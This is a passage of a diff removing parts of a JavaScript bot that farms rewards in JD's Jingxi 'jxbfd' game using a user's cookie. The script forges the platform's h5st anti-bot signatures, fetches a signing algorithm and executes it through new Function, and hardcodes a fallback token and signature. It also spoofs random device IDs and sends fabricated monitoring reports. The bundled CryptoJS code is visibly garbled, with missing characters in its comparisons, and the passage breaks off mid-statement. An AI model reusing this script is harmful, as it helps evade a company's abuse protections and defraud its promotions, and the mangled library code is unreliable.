console.log(`合成成功:${res.ddwAwardHb && '获得'+res.ddwAwardHb/100+"红包 " || ''}当前有${res.dwCurProgress}个月饼${res.ddwVirHb && ' '+res.ddwVirHb/100+"红包" || ''}`) - }else{ - console.log(JSON.stringify(res)) - } - $.ComposeGameState = await taskGet(`user/ComposePearlState`, '', '&dwGetType=0') - } - } - for (let i of $.ComposeGameState.stagelist || []) { - if (i.dwIsAward == 0 && $.ComposeGameState.dwCurProgress >= i.dwCurStageEndCnt) { - await $.wait(2000) - let res = await taskGet(`user/ComposeGameAward`, '__t,dwCurStageEndCnt,strZone', `&dwCurStageEndCnt=${i.dwCurStageEndCnt}`) - await printRes(res,'月饼领奖') - } - } - }catch (e) { - $.logErr(e); - } -} -// 牛牛任务 -async function ActTask(){ - try{ - let res = '' - await $.wait(2000) - $.Biztask = await taskGet(`story/GetActTask`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', '&ptag=') - if($.Biztask && $.Biztask.Data && $.Biztask.Data.dwStatus != 4){ - console.log(`\n牛牛任务`) - if($.Biztask.Data.dwStatus == 3 && $.Biztask.Data.dwTotalTaskNum && $.Biztask.Data.dwCompleteTaskNum && $.Biztask.Data.dwTotalTaskNum == $.Biztask.Data.dwCompleteTaskNum){ - res = await taskGet(`story/ActTaskAward`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone', `&ptag=`) - if(res.iRet == 0){ - console.log(`领取全部任务奖励:`, res.Data.ddwBigReward || '') - }else{ - console.log(`领取全部任务奖励失败:`, JSON.stringify(res)) - } - } - for(let i in $.Biztask.Data.TaskList){ - let item = $.Biztask.Data.TaskList[i] - if(item.dwAwardStatus != 2 && item.dwCompleteNum === item.dwTargetNum) continue - console.log(`任务 ${item.strTaskName} ${item.dwCompleteNum}/${item.dwTargetNum}`) - if (item.dwAwardStatus == 2 && item.dwCompleteNum === item.dwTargetNum) { - res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ - console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) - }else{ - console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - if(item.dwAwardStatus == 2 && item.dwCompleteNum < item.dwTargetNum && [1,2].includes(item.dwOrderId)){ - await $.wait(1000) - if(item.strTaskName.indexOf('热气球接待') > -1){ - let b = (item.dwTargetNum-item.dwCompleteNum) - // 热气球接客 - await service(b) - await $.wait((Number(item.dwLookTime) * 1000) || 1000) - }else if(item.dwPointType == 301){ - await $.wait((Number(item.dwLookTime) * 1000) || 1000) - res = await taskGet('DoTask1', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}&configExtra=`) - } - await $.wait(1000) - res = await taskGet(`Award1`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.ddwTaskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney){ - console.log(`${item.strTaskName} 领取奖励:${res.data.prizeInfo.ddwCoin && res.data.prizeInfo.ddwCoin+'金币' || ''} ${res.data.prizeInfo.ddwMoney && res.data.prizeInfo.ddwMoney+'财富' || ''}`) - }else{ - console.log(`${item.strTaskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.strTaskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - } - } - - }catch (e) { - $.logErr(e); - } -} -// 日常任务、成就任务 -async function UserTask(){ - try{ - await $.wait(2000) - let res = '' - $.task = await taskGet(`GetUserTaskStatusList`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', '&ptag=&taskId=0') - if($.task && $.task.data && $.task.data.userTaskStatusList){ - console.log(`\n日常任务、成就任务`) - for(let i in $.task.data.userTaskStatusList){ - let item = $.task.data.userTaskStatusList[i] - if(item.awardStatus != 2 && item.completedTimes === item.targetTimes) continue - console.log(`任务 ${item.taskName} (${item.completedTimes}/${item.targetTimes})`) - if (item.awardStatus == 2 && item.completedTimes === item.targetTimes) { - res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ - console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) - }else{ - console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) - } - await $.wait(1000) - } - if(item.dateType == 2){ - if(item.completedTimes < item.targetTimes && ![6,7,8,9,10].includes(item.orderId)){ - if(item.taskName.indexOf('捡贝壳') >-1 || item.taskName.indexOf('赚京币任务') >-1) continue - let b = (item.targetTimes-item.completedTimes) - for(i=1;b--;i++){ - console.log(`第${i}次`) - res = await taskGet('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}&configExtra=`) - await $.wait(5000) - } - res = await taskGet(`Award`, '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', `&ptag=&taskId=${item.taskId}`) - if(res.ret == 0){ - if(res.data.prizeInfo){ - res.data.prizeInfo = $.toObj(res.data.prizeInfo) - } - if(res.data.prizeInfo.ddwCoin || res.data.prizeInfo.ddwMoney || res.data.prizeInfo.strPrizeName){ - console.log(`${item.taskName} 领取奖励:${res.data.prizeInfo.ddwCoin && ' '+res.data.prizeInfo.ddwCoin+'金币' || ''}${res.data.prizeInfo.ddwMoney && ' '+res.data.prizeInfo.ddwMoney+'财富' || ''}${res.data.prizeInfo.strPrizeName && ' '+res.data.prizeInfo.strPrizeName+'红包' || ''}`) - }else{ - console.log(`${item.taskName} 领取奖励:`, JSON.stringify(res)) - } - }else{ - console.log(`${item.taskName} 领取奖励失败:`, JSON.stringify(res)) - } - }else if(item.awardStatus === 2 && [1].includes(item.orderId)){ - } - await $.wait(1000) - }else if(item.dateType == 1){ - // console.log('enensss') - } - // break - } - } - - }catch (e) { - $.logErr(e); - } -} - -function printRes(res, msg=''){ - if(res.iRet == 0 && (res.Data || res.ddwCoin || res.ddwMoney || res.strPrizeName)){ - let result = res - if(res.Data){ - result = res.Data - } - if(result.ddwCoin || result.ddwMoney || result.strPrizeName || result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName){ - console.log(`${msg}获得:${result.ddwCoin && ' '+result.ddwCoin+'金币' || ''}${result.ddwMoney && ' '+result.ddwMoney+'财富' || ''}${result.strPrizeName && ' '+result.strPrizeName+'红包' || ''}${result.StagePrizeInfo && result.StagePrizeInfo.strPrizeName && ' '+result.StagePrizeInfo.strPrizeName || ''}`) - }else if(result.Prize){ - console.log(`${msg}获得: ${result.Prize.strPrizeName && '优惠券 '+result.Prize.strPrizeName || ''}`) - }else if(res && res.sErrMsg){ - console.log(res.sErrMsg) - }else{ - console.log(`${msg}完成`, JSON.stringify(res)) - // console.log(`完成`) - } - }else if(res && res.sErrMsg){ - console.log(`${msg}失败:${res.sErrMsg}`) - }else{ - console.log(`${msg}失败:${JSON.stringify(res)}`) - } -} -function getJxAppToken(){ - function generateStr(e) { - e = e || 32; - let t = "abcdefghijklmnopqrstuvwxyz1234567890", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n - } - let phoneId = generateStr(40); - let timestamp = Date.now().toString(); - let pgUUNum = $.CryptoJS.MD5('' + decodeURIComponent($.UserName || '') + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy').toString($.CryptoJS.enc.MD5); - return { - 'strPgtimestamp': timestamp, - 'strPhoneID': phoneId, - 'strPgUUNum': pgUUNum - } -} -async function noviceTask(){ - let additional= `` - let stk= `` - additional= `` - stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - await taskGet(`user/guideuser`, stk, additional) - additional= `&strMark=guider_step&strValue=welcom&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=none&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) -} - -function taskGet(type, stk, additional){ - return new Promise(async (resolve) => { - let myRequest = getGetRequest(type, stk, additional) - $.get(myRequest, async (err, resp, _data) => { - let data = '' - try { - let contents = '' - // console.log(_data) - data = $.toObj(_data) - if(data && data.iRet == 0){ - // console.log(_data) - }else{ - // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 - // console.log(_data) - } - contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` - await biz(contents) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data); - } - }); - }); -} -function getGetRequest(type, stk='', additional='') { - let url = ``; - let dwEnv = 7; - if(type == 'user/ComposeGameState'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` - }else if(type == 'user/RealTmReport'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` - }else{ - let stks = '' - if(stk) stks = `&_stk=${stk}` - if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 - if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' - if(type == 'story/RewardSigns') type = 'story/RewardSign' - if(type == 'GetUserTaskStatusList' || type == 'Award' || type == 'Award1' || type == 'DoTask' || type == 'DoTask1'){ - let bizCode = 'jxbfd' - if(type == 'Award1'){ - bizCode = 'jxbfddch' - type = 'Award' - }else if(type == 'DoTask1'){ - bizCode = 'jxbfddch' - type = 'DoTask' - } - url = `https://m.jingxi.com/newtasksys/newtasksys_front/${type}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` - }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; - }else{ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; - } - url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; - } - return { - url, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': $.cookie, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - - } - } -} - -function biz(contents){ - return new Promise(async (resolve) => { - let myRequest = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': $.cookie, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - } - } - $.get(myRequest, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }); -} - -function opId(type){ - let jsonMap = { - "user/QueryUserInfo": 1, - "user/GetMgrAllConf": 3, - "story/QueryUserStory": 5, - "user/GetJdToken": 11, - "story/CouponState": 13, - "story/WelfareDraw": 15, - "story/GetWelfarePage": 17, - "story/SendWelfareMoney": 19, - "user/SetMark": 23, - "user/GetMark": 25, - "user/guideuser": 27, - "user/createbuilding": 29, - "user/BuildLvlUp": 31, - "user/CollectCoin": 33, - "user/GetBuildInfo": 35, - "user/SpeedUp": 37, - "story/AddNoticeMsg": 39, - "user/breakgoldenegg": 41, - "user/closewindow": 43, - "user/drawpackprize": 45, - "user/GetMoneyDetail": 47, - "user/EmployTourGuide": 49, - "story/sellgoods": 51, - "story/querystorageroom": 53, - "user/queryuseraccount": 55, - "user/EmployTourGuideInfo": 57, - "consume/TreasureHunt": 59, - "story/QueryAppSignList": 61, - "story/AppRewardSign": 63, - "story/queryshell": 65, - "story/QueryRubbishInfo": 67, - "story/pickshell": 69, - "story/CollectorOper": 71, - "story/MermaidOper": 73, - "story/RubbishOper": 75, - "story/SpecialUserOper": 77, - "story/GetUserTaskStatusList": 79, - "user/ExchangeState": 87, - "user/ExchangePrize": 89, - "user/GetRebateGoods": 91, - "user/BuyGoods": 93, - "user/UserCashOutState": 95, - "user/CashOut": 97, - "user/GetCashRecord": 99, - "user/CashOutQuali": 101, - "user/GetAwardList": 103, - "story/QueryMailBox": 105, - "story/MailBoxOper": 107, - "story/UserMedal": 109, - "story/QueryMedalList": 111, - "story/GetTakeAggrPage": 113, - "story/GetTaskRedDot": 115, - "story/RewardSign": 117, - "story/helpdraw": 119, - "story/helpbystage": 121, - "task/addCartSkuNotEnough": 123, - "story/GetActTask": 125, - "story/ActTaskAward": 127, - "story/DelayBizReq": 131, - "story/AddSuggest": 133, - } - let opId = jsonMap[type] - if (opId!=undefined) return opId - return 5001 -} - -async function requestAlgo() { - $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - headers: { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'User-Agent': UA, - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fp, - "appId": $.appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - const { ret, msg, data: { result } = {} } = JSON.parse(data); - $.token = result.tk; - $.genKey = new Function(`return ${result.algo}`)(); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getRandomIDPro() { - var e, - t, - a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, - n = void 0 === (n = t.dictType) ? 'number' : n, - i = ''; - if ((t = t.customDict) && 'string' == typeof t) e = t; - else - switch (n) { - case 'alphabet': - e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - break; - case 'max': - e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; - break; - case 'number': - default: - e = '0123456789'; - } - - for (; a--;) i += e[(Math.random() * e.length) | 0]; - return i; -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') - if (stk) { - const timestamp = format("yyyyMMddhhmmssSSS", time); - const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') - } -} - -function format(a, time) { - if (!a) a = 'yyyy-MM-dd'; - var t; - if (!time) { - t = Date.now(); - } else { - t = new Date(time); - } - var e, - n = new Date(t), - d = a, - l = { - 'M+': n.getMonth() + 1, - 'd+': n.getDate(), - 'D+': n.getDate(), - 'h+': n.getHours(), - 'H+': n.getHours(), - 'm+': n.getMinutes(), - 's+': n.getSeconds(), - 'w+': n.getDay(), - 'q+': Math.floor((n.getMonth() + 3) / 3), - 'S+': n.getMilliseconds(), - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - Object.keys(l).forEach(e => { - if (new RegExp('('.concat(e, ')')).test(d)) { - var t, - a = 'S+' === e ? '000' : '00'; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); - } - }); - return d; -} - -function getUrlQueryParams(url_string, param) { - let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); - let r = url_string.split('?')[1].substr(0).match(reg); - if (r != null) { - return decodeURIComponent(r[2]); - }; - return ''; -} - - - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}?${new Date()}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - let res = [] - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) res = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(res || []); - } - }) - await $.wait(10000) - resolve(res); - }) -} - -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ - function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - - -// 计算时间 -function timeFn(dateBegin) { - var hours = 0 - var minutes = 0 - var seconds = 0 - if(dateBegin != 0){ - //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 - var dateEnd = new Date();//获取当前时间 - var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 - var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 - hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 - //计算相差分钟数 - var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 - minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 - //计算相差秒数 - var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 - seconds = Math.round(leave3 / 1000) - } - hours = hours < 10 ? '0'+ hours : hours - minutes = minutes < 10 ? '0'+ minutes : minutes - seconds = seconds < 10 ? '0'+ seconds : seconds - var timeFn = hours + ":" + minutes + ":" + seconds; - return timeFn; -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function CryptoScripts() { - // prettier-ignore - !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var 